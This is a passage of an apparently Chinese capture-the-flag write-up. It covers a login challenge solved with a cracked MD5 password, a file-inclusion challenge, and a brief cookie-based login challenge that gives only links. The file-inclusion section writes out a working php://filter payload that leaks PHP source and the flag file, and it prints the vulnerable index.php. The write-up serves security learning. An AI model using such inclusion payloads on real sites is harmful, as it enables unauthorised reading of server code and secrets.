運行,即可得被加密過的password,使用md5解密得其明文為:skctf123456
再次登陸:username:admin
password : skctf123456
即可得到key。。。。。。。。
文件上傳2
題目說要上傳png圖片,那么我們嘗試上傳一下,結果頁面說圖片無效
那應該不是靠一句話菜刀,因為根本加載不出來,我覺得不可能沒有php代碼,於是在op后面構造
op=index.php 提示我們不存在這樣的頁面 但事實是存在的
op=index 沒有出現提示 但頁面是空的
op=php://filter/read=convert.base64-encode/resource=index
發現代碼

<?php error_reporting(0); define('FROM_INDEX', 1); $op = empty($_GET['op']) ? 'home' : $_GET['op']; if(!is_string($op) || preg_match('/\.\./', $op)) die('Try it again and I will kill you! I freaking hate hackers!'); ob_start('ob_gzhandler'); function page_top($op) { ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title> </head> <body> <div id="header"> <center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center> </div> <div id="body"> <?php } function fatal($msg) { ?><div class="article"> <h2>Error</h2> <p><?=$msg;?></p> </div><?php exit(1); } function page_bottom() { ?> </div> <center> <div id="footer"> <div> <p> <span>2017 © </span> All rights reserved. </p> </div> </div> </center> </body> </html> <?php ob_end_flush(); } register_shutdown_function('page_bottom'); page_top($op); @$op =str_replace("http","",$op); if(!(include $op . '.php')) fatal('no such page'); ?>
通過這個分析,大概懂了為什么文件加.php提醒沒有此頁面的原因。
通過御劍后台掃描掃描出后台的信息,有flag.php頁面,則
op=php://filter/read=convert.base64-encode/resource=flag
則獲得flag的base64加密后的數據,進行解密,獲得flag。
login4
https://blog.csdn.net/u013577244/article/details/86310881
https://blog.csdn.net/zpy1998zpy/article/details/80684485
http://www.anquan.us/static/drops/tips-7828.html
在線php代碼運行平台 http://www.it1352.com/onlinetools/details/8
將我們提交的內容刪掉后再發送,只要cookie不變,我們依然是我們提交的admik的身份
得到
MQ2Bj9XHqo1YQ0sN7Ge5Lirf6DKjw2FpwXZn2F873jpgnU4ykrpE2VJ7H0XLgkZ31kCuP5FC8KTmyQKhRtdFyPSdQ3D3